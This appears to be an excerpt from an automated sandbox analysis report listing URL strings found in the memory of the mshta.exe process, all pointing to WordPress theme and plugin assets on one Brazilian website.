Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3u
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3y
Source: mshta.exe, 0000000A.00000002.556041282.000000000CC1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png
Source: mshta.exe, 0000000A.00000002.556041282.000000000CC1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png9
Source: mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngF
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngs?ver=1.0=1.0
Source: mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngw
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png1
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png5501425981.pngn.js.3.0
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png8
Source: mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngi
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20C:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20X
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20y
Source: mshta.exe, 0000000A.00000003.386063052.0000000007133000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545320205.0000000007133000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png_bg4.jpgtrap.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2C:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2d
Source: mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.d
Source: mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.c
Source: mshta.exe, 0000000A.00000002.553224347.0000000008397000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.396742788.0000000008396000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.396591256.0000000008390000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.396714180.0000000008393000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.396641425.0000000008391000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.396691296.0000000008392000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/prev.pnghttp://facextra
Source: mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/
Source: mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.cs
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl
Source: mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editH
Source: mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.
Source: mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386088242.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545468854.000000000714D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386088242.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.404023493.0000000008084000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.404045211.0000000008086000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.404072155.000000000808C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.550598367.000000000808D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.545468854.000000000714D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.404061427.000000000808B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/admin/data_management/
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332104542.0000000006B7D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0C:
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0E
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0U
Source: mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0a_
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0b
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0er
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0tW
Source: mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0y
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332658393.00000000034E3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387469878.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.536752026.00000000034E4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537862942.0000000003554000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544730764.00000000070A0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Source: mshta.exe, 0000000A.00000002.542517709.0000000006B39000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332283866.0000000006B1D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.36
Source: mshta.exe, 0000000A.00000002.544730764.00000000070A0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3erC:
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3j7
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngn
Source: mshta.exe, 0000000A.00000002.542148707.0000000006B07000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngu
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngugin.js?ver=1.2.8.1s?v
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386639993.000000000CD3B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.49p
Source: mshta.exe, 0000000A.00000003.387366478.000000000CCBD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556493364.000000000CCBD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0
Source: mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4http://facextra
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4wq
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4y
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332073316.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0.0h
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0.js
Source: mshta.exe, 0000000A.00000002.545850187.0000000007190000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0:Tw
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0difiC:
Source: mshta.exe, 0000000A.00000002.548501961.0000000007680000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.com
Source: mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0i/
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386639993.000000000CD3B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386985123.0000000003562000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.403877946.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386551302.000000000CD31000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548453703.0000000007655000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.387227978.0000000003553000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386677165.0000000003585000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386140675.0000000006B47000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.538240401.0000000003588000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.537988127.0000000003564000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0q
Source: mshta.exe, 0000000A.00000003.386488905.000000000CCEE000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0tp
Source: mshta.exe, 0000000A.00000003.332781130.000000000354C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.548501961.0000000007680000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544798464.00000000070BA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385933121.00000000070A9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.544908525.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.386191598.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.542729390.0000000006B65000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.332924179.00000000070CF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.385971386.00000000070CF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0:
Source: mshta.exe, 0000000A.00000002.541711426.0000000006AD0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0_
Source: mshta.exe, 0000000A.00000002.556680708.000000000CCF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0js_
